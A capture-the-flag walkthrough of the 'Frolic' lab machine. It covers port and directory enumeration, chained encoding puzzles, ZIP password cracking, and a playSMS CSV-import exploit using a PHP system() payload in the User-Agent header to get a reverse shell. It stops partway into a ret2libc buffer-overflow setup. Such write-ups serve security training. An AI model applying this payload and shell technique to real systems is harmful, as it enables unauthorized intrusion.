Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.111 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.
-p-
scanning the entire port range, from 1 to 65535 .
-T5
insane mode, it is the fastest mode of the nmap time template.
-Pn
assume the host is online .
-n
scan without reverse DNS resolution.
-oN
save the scan result into a file, in this case the allports file.
Copy # Nmap 7.92 scan initiated Wed Jun 29 22:56:13 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.111
Nmap scan report for 10.10.10.111
Host is up (0.078s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1880/tcp open vsat-control
9999/tcp open abyss
# Nmap done at Wed Jun 29 22:56:26 2022 -- 1 IP address (1 host up) scanned in 14.36 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,139,445,1880,9999 10.10.10.111 -oN targeted
-sC
performs the scan using the default set of scripts .
-sV
enables version detection.
-oN
save the scan result into file, in this case the targeted file.
Copy # Nmap 7.92 scan initiated Wed Jun 29 22:56:55 2022 as: nmap -sCV -p22,139,445,1880,9999 -oN targeted 10.10.10.111
Nmap scan report for 10.10.10.111
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open http Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h49m56s, deviation: 3h10m31s, median: 3s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-06-29T20:57:23
|_ start_date: N/A
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2022-06-30T02:27:23+05:30
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 29 22:57:22 2022 -- 1 IP address (1 host up) scanned in 27.59 seconds
Guest log in on the SMB server is enabled, but there are no available shares we could check.
smbmap -H 10.10.10.111
Copy [+] Guest session IP: 10.10.10.111:445 Name: forlic.htb
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
IPC$ NO ACCESS IPC Service (frolic server (Samba, Ubuntu))
The website on port 1880 shows a login page for a Node-RED application.
On the other hand, the website on port 9999 just shows the default nginx page.
We can see some subdirectories with gobuster.
gobuster dir -u http://10.10.10.111:9999 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt
dir
enumerates directories or files .
-t
number of current threads , in this case 200 threads.
-x
file extensions to search for.
Copy ===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.111:9999
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php
[+] Timeout: 10s
===============================================================
2022/09/09 21:40:49 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/admin/]
/test (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/test/]
/dev (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/]
/backup (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/backup/]
/loop (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/loop/]
===============================================================
2022/09/09 21:44:50 Finished
===============================================================
Exploitation
The /admin
directory shows another login page.
If we try some random credentials, we'll see a popup alert saying that we only have 2 more attempts.
In the source code, we can see a js/login.js
script being executed.
The script check for the admin
user, and the superduperlooperpassword_lol
password.
Logging in with those credentials, we get the message Login successfully
.
And get redirected to /admin/success.html
with some strange message.
cat message.txt | sed 's/./Ook./g' | sed 's/!/Ook!/g' | sed 's/?/Ook?/g'
Copy Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook?Ook. Ook?Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook?Ook.Ook? Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook!Ook!Ook! Ook!Ook!Ook!Ook?Ook. Ook?Ook!Ook.Ook?Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook.Ook.Ook.Ook! Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook.Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook? Ook.Ook?Ook!Ook.Ook? Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook?Ook!Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook?Ook.Ook?Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook!Ook. Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook?Ook. Ook?Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook!Ook! Ook!Ook!Ook!Ook!Ook? Ook.Ook?Ook!Ook.Ook? Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook. Ook?Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook!Ook? Ook!Ook!Ook.Ook?Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook?Ook.Ook?Ook!Ook. Ook?Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook?Ook. Ook?Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook!Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook.Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook.Ook!Ook!Ook! Ook!Ook!Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook?Ook!Ook!Ook.Ook? Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook?Ook.Ook?Ook! Ook.Ook?Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook?Ook!Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook?Ook.Ook?Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook?Ook.Ook? Ook!Ook.Ook?Ook.Ook. Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook?Ook.Ook?Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook!Ook!Ook! Ook!Ook!Ook!Ook?Ook. Ook?Ook!Ook.Ook?Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook!Ook. Ook?Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook!Ook?Ook!Ook!Ook. Ook?Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook? Ook.Ook?Ook!Ook.Ook? Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook!Ook! Ook!Ook!Ook!Ook!Ook? Ook.Ook?Ook!Ook.Ook? Ook!Ook!Ook!Ook.Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook!Ook.Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook?Ook.Ook? Ook!Ook.Ook?Ook!Ook! Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook?Ook!Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook?Ook.Ook?Ook!Ook. Ook?Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook!Ook? Ook!Ook!Ook.Ook?Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook?Ook.Ook? Ook!Ook.Ook?Ook!Ook! Ook!Ook!Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook!Ook! Ook!Ook!Ook!Ook!Ook? Ook.Ook?Ook!Ook.Ook? Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook!Ook? Ook!Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook?Ook.Ook? Ook!Ook.Ook?Ook.Ook. Ook!Ook.Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook?Ook.Ook?Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook?Ook. Ook?Ook!Ook.Ook?Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook.Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook.Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook.Ook?Ook.
We have a new directory. Let's check it out.
It looks like some base64 encoded text. If we put it on a file, and decode it, we'll see what looks like a .zip
file because the first characters are the ZIP magic numbers PK
.
cat base64 | base64 -d
Copy PK Ã7M#īŋŊ[īŋŊi index.phpUT īŋŊ|īŋŊ[īŋŊ|īŋŊ[ux
^DīŋŊJīŋŊsīŋŊhīŋŊ)īŋŊPīŋŊn
īŋŊīŋŊSsīŋŊJwâÜīŋŊīŋŊ4īŋŊīŋŊkīŋŊzīŋŊīŋŊUČīŋŊ+XīŋŊīŋŊPīŋŊīŋŊáļīŋŊīŋŊĐģīŋŊx_īŋŊNīŋŊ[īŋŊīŋŊīŋŊSīŋŊīŋŊ8īŋŊīŋŊīŋŊīŋŊīŋŊJ2SīŋŊ*īŋŊDĐ}īŋŊ8dTQkīŋŊīŋŊīŋŊīŋŊīŋŊīŋŊj_īŋŊīŋŊīŋŊâīŋŊīŋŊīŋŊ'xcīŋŊīŋŊŨtīŋŊīŋŊ75QīŋŊ
īŋŊīŋŊīŋŊk,4īŋŊīŋŊb)īŋŊ4FīŋŊīŋŊ īŋŊīŋŊīŋŊīŋŊīŋŊīŋŊīŋŊīŋŊīŋŊ&q2oīŋŊWÔīŋŊ9P#īŋŊ[īŋŊiPK Ã7M#īŋŊ[īŋŊi âīŋŊīŋŊindex.phpUTīŋŊ|īŋŊ[ux
PKO
Let's put the output to a file called msg.zip
.
cat base64 | base64 -d > msg.zip
file msg.zip
Copy msg.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
If we try to decompress the file, it will ask for a password.
unzip msg.zip
Copy Archive: msg.zip
[msg.zip] index.php password:
We could get the hash for the ZIP file.
zip2john msg.zip > msg.zip.hash
And try to break it with john.
john --wordlist=/usr/share/wordlists/rockyou.txt msg.zip.hash
Copy Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password (msg.zip/index.php)
1g 0:00:00:00 DONE (2022-09-09 22:05) 100.0g/s 409600p/s 409600c/s 409600C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Now we can decompress the file with the password
password.
unzip msg.zip
Copy Archive: msg.zip
[msg.zip] index.php password: password
inflating: index.php
The index.php
file contains hex code.
cat index.php
Copy 4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
If we decode it, we'll see some base64 code again.
cat index.php | xxd -r -p
Copy KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
We get some brainfuck code, if we decode the base64 code.
cat index.php | xxd -r -p | tr -d "\n\r" | base64 -d
Copy +++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<
We found with gobuster some other directories we have not seen yet, such us /dev
, which shows a 403 Forbidden code.
But we could try to list directories again, but this time under the /dev
directory.
gobuster dir -u http://10.10.10.111:9999/dev -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt
dir
enumerates directories or files .
-t
number of current threads , in this case 200 threads.
-x
file extensions to search for.
Copy ===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.111:9999/dev
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
2022/09/09 22:15:32 Starting gobuster in directory enumeration mode
===============================================================
/test (Status: 200) [Size: 5]
/backup (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/backup/]
===============================================================
2022/09/09 22:16:42 Finished
===============================================================
There is a new directory under /dev
called /backup
, which contains another directory called /playsms
.
This new directory has another login page, in which we can log is with the user admin
, and the password we found earlier idkwhatispass
.
If we search for any common vulnerabilities on playSMS , we'll see that there is quite a few of them.
searchsploit playsms
Copy ----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metasploit) | php/remote/44598.rb
PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit) | php/remote/48335.rb
PlaySms 0.7 - SQL Injection | linux/remote/404.pl
PlaySms 0.8 - 'index.php' Cross-Site Scripting | php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions | php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion | php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery | php/webapps/30177.txt
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload | php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution | php/webapps/42044.txt
PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenticated) 'Code Execution (Metasploit) | php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution | php/webapps/42038.txt
PlaySMS 1.4.3 - Template Injection / Remote Code Execution | php/webapps/48199.txt
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Copy Name,Mobile,Email,Group code,Tags
<?php $a=$_SERVER['HTTP_USER_AGENT']; system($a); ?>,2,,,
Now, go to the following URL.
http://10.10.10.111:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list
Upload the backdoor.csv
file, and intercept the request with BurpSuite , and put a command that sends us a reverse shell on the User-Agent
header.
Before hitting Forward
, let's set a netcat listener on port 4444 .
nc -lvnp 4444
-n
numeric-only IP, no DNS resolution.
-p
specify the port to listen on.
If now we forward the request, we should get a shell as the www-data
user. Then we'll be able to grab the user flag.
Copy listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.111] 51108
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ cat /home/ayush/user.txt
2ab95909cf509f85a6f476b59a0c2fe0
Privilege Escalation
First, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z
and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
There is one hidden folder called .binary
in the home directory on the user ayush
.
ls -la /home/ayush/
Copy total 36
drwxr-xr-x 3 ayush ayush 4096 Sep 25 2018 .
drwxr-xr-x 4 root root 4096 Sep 23 2018 ..
-rw------- 1 ayush ayush 2781 Sep 25 2018 .bash_history
-rw-r--r-- 1 ayush ayush 220 Sep 23 2018 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23 2018 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep 25 2018 .binary
-rw-r--r-- 1 ayush ayush 655 Sep 23 2018 .profile
-rw------- 1 ayush ayush 965 Sep 25 2018 .viminfo
-rwxr-xr-x 1 ayush ayush 33 Sep 25 2018 user.txt
The directory contains a file called rop
with SUID permissions.
ls -l /home/ayush/.binary/
Copy total 8
-rwsr-xr-x 1 root root 7480 Sep 25 2018 rop
If we execute the binary, it will ask for a message.
rop
Copy [*] Usage: program <message>
Giving a message as an argument just prints it out.
rop testing
Copy [+] Message sent: testing
If I generate 500 A
characters with python, and put them as an argument of the rop
binary, the program will crash.
rop $(python -c "print('A'*500)")
Copy Segmentation fault (core dumped)
This means that the binary might be vulnerable to a Buffer Overflow attack. Let's transfer the binary to our machine. Set a simple HTTP server with python on the victim machine.
python -m SimpleHTTPServer 1234
Then, download it from our local machine.
wget http://10.10.10.111:1234/rop
chmod +x rop
Let's run the binary with gdb .
gdb ./rop
Copy GNU gdb (Debian 12.1-3) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.10
Reading symbols from ./rop...
(No debugging symbols found in ./rop)
gefâ¤
Note that I am using gef . The same way as before, if I run the script with 500 A
characters, i will crash, and I'll be able to see all the registries filled with 41
.
gef⤠r $(python -c "print('A'*500)")
Copy [ Legend: Modified register | Code | Heap | Stack | String ]
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ registers ââââ
$eax : 0x1f4
$ebx : 0xffffd1d0 â "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ecx : 0xf7fa1ff4 â 0x001ead6c
$edx : 0x0
$esp : 0xffffd1a0 â "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp : 0x41414141 ("AAAA"?)
$esi : 0x2
$edi : 0x80483a0 â <_start+0> xor ebp, ebp
$eip : 0x41414141 ("AAAA"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ stack ââââ
0xffffd1a0â+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" â $esp
0xffffd1a4â+0x0004: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd1a8â+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd1acâ+0x000c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd1b0â+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd1b4â+0x0014: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd1b8â+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd1bcâ+0x001c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ code:x86:32 ââââ
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ threads ââââ
[#0] Id 1, Name: "rop", stopped 0x41414141 in ?? (), reason: SIGSEGV
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ trace ââââ
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
The program only has the NX memory protection enabled.
gef⤠checksec
Copy [+] checksec for '/home/alfa8sa/HTB/machines/frolic/rop'
Canary : â
NX : â
PIE : â
Fortify : â
RelRO : Partial
We can also check on the victim machine that ASLR is not enabled.
cat /proc/sys/kernel/randomize_va_space
As ASLR is disabled, and the NX memory protection is enabled, the easiest way of exploiting this buffer overflow vulnerability is doing a Return to libc attack.
First, let's check at what point we start overwriting the EIP. Create a pattern with gef .
gef⤠pattern create 100
Copy [+] Generating a pattern of 100 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
And execute the program giving the pattern as an argument.
gef⤠r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Copy [ Legend: Modified register | Code | Heap | Stack | String ]
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ registers ââââ
$eax : 0x64
$ebx : 0xffffd360 â 0x00000002
$ecx : 0xf7fa1ff4 â 0x001ead6c
$edx : 0x0
$esp : 0xffffd330 â "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
$ebp : 0x6161616d ("maaa"?)
$esi : 0x2
$edi : 0x80483a0 â <_start+0> xor ebp, ebp
$eip : 0x6161616e ("naaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
